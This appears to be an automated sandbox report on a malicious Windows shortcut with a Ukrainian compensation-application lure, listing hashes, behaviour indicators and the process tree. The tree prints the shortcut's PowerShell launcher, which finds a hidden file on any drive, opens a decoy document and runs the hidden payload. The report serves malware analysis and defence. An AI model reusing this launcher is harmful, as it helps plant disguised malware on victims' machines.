1c6643b479614340097a8071c9f880688af5a82db7b6e755beafe7301eea1abf

Analysis

max time kernel
43s
max time network
45s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
16/09/2022, 11:43

Target

ЗАЯВА-на-отримання-компенсації.lnk
Size

411KB
MD5

c15aa00479cae0a8bae7c926d7fd8ba6
SHA1

9c7c059e617380eb7bf5b5ae41b2874e2cf5111c
SHA256

bc4cab14e4b378a7b98185367b4778f92eb4335faba1a4503f4cfb7aba8f13e7
SHA512

79067ef1afbd879b3ab011354a626e567ebf463fd60f4c5d82c7332906fa4e6c9e85e8d33926cf7c2ed037a7b7eee92a4ce17020450442443740286efa4b2e72
SSDEEP

24:8y+wj/erlZygbDhw+svWP2+sv30PvcNnCsCcOrAI+/1:8m/6lZWnrPccCssAI

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1780	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 864 wrote to memory of 1780	864	cmd.exe	28
PID 864 wrote to memory of 1780	864	cmd.exe	28
PID 864 wrote to memory of 1780	864	cmd.exe	28
PID 864 wrote to memory of 1780	864	cmd.exe	28
PID 1780 wrote to memory of 1340	1780	powershell.exe	29
PID 1780 wrote to memory of 1340	1780	powershell.exe	29
PID 1780 wrote to memory of 1340	1780	powershell.exe	29
PID 1780 wrote to memory of 1340	1780	powershell.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ЗАЯВА-на-отримання-компенсації.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Command $f = 'jfilyg7';Foreach($d in Get-PSDrive|ForEach-Object{$PSItem.Root} | findstr ':\') {$w=gci -hidden $d | findstr $f;if($w.Contains($f)){break}};ii $d'ЗАЯВА';start($d+$f)
  2⤵
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1780
- - C:\Windows\SysWOW64\findstr.exe
    "C:\Windows\system32\findstr.exe" :\
    3⤵
    PID:1340

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/864-54-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

Filesize
8KB

Download
memory/1780-92-0x0000000075141000-0x0000000075143000-memory.dmp

Filesize
8KB

Download
memory/1780-93-0x0000000073960000-0x0000000073F0B000-memory.dmp

Filesize
5.7MB

Download
memory/1780-95-0x0000000073960000-0x0000000073F0B000-memory.dmp

Filesize
5.7MB

Download